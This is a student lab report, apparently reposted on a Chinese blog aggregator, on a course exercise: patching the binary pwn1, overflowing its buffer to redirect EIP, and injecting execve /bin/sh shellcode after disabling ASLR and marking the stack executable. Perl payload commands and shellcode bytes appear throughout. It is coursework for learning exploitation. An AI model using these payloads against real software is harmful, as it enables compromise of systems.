zoukankan      html  css  js  c++  java
  • 20145237 实验一 逆向与Bof基础

    20145237 实验一 逆向与Bof基础

    1.直接修改程序机器指令,改变程序执行流程

    此次实验是下载老师传给我们的一个名为pwn1的文件。
    首先,用 objdump -d pwn1 对pwn1进行反汇编

    可以得到,getshell函数的地址是0804847d,foo函数地址是08048491,main函数调用foo,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“ d7ffffff ”为"getShell-80484ba"对应的补码就行.main函数调用foo函数的汇编指令是e8 d7ffffff,需要将e8 d7ffffff改成 0804847d对应补码,此时加上偏移量即可,即将d7改成d7-(91-7d)=c3.
    接着我们输入vi pwn1打开pwn1,然后输入指令%!xxd将文件转换成16进制显示,利用搜索功能进行搜索将d7改为c3。

    再次输入%!xxd -r进行反汇编(在这里不能先进行保存然后再反汇编,一定要先反汇编),然后输入:wq保存并退出。

    2.通过构造输入参数,造成BOF攻击,改变程序执行流

    先输入指令gdb pwn1,然后输入r
    接着输入1111111122222222333333334444444455555555,输入info r来查看各个寄存器的值,可以看到eip的值为5。

    接着输入1111111122222222333333334444444412345678(12345678可换为学号)

    可以看到eip为34333231
    接着输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input并且使用十六进制查看指令xxd查看input文件是否符合预期。

    3.注入Shellcode并执行

    先输入apt-get install execstack下载··execstack··。

    然后输入下面的指令

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
    

    构造要注入的payload。
    Linux下有两种基本构造攻击buf的方法:
    retaddr+nop+shellcode
    nop+shellcode+retaddr。
    因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    我们这个buf够放这个shellcode了
    结构为:nops+shellcode+retaddr。
    nop一为是了填充,二是作为“着陆区/滑行区”。
    我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
    接下来就根据实验指导输入命令
    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    x4x3x2x1为溢出到eip的部分。
    我输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号为4436,如图:

    接着进行gdb调试,输入attach 4436(进程号)

    按照步骤设置断点,输入disassemble foo,查看foo的栈地址,输入break *080484a5,接着输入c继续运行。
    输入info r,查看栈的地址,然后输入x/32x 0xffffd2f0(esp)

    根据上图,选择把地址改为0xffffd310,输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x10xd3xffxffx00"' > input_shellcode重新构造input,输入(cat input_shellcode; cat) | ./pwn1,运行pwn1,发现失败。

    3.2 retaddr+nop+shellcode(成功)

    由实验2知,33-36位为eip,即想要覆盖的区域,37位后为shellcode,所以输入perl -e 'print "A" x 32;print "x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode,用32个A去填充前32位,33-36位为3.1试验中的0x90909090的地址加上/x24,即0xffffd30c+0x24=0xffffd330
    得到:

  • 相关阅读:
    继承关系中子类使用@Data注解问题
    Professional, Entreprise, Architect版本的区别
    Delphi中ARC内存管理的方向
    技术的止境(客户价值第一,快速实现第二,边做边学,迅速成为牛人。紧贴客户的需求去做技术,立于不败之地。追求的目标:把一项产品去做好,用产品去养活自己和家人)good
    C++ 函数模板与类模板(使用 Qt 开发编译环境)
    C++进阶之虚函数表
    Net反编译软件
    python虚拟环境--virtualenv和virtualenvwrapper
    Windows同时安装python3和python2
    python的pip源在windows和linux修改
  • 原文地址:https://www.cnblogs.com/20145237fhn/p/8597491.html
Copyright © 2011-2022 走看看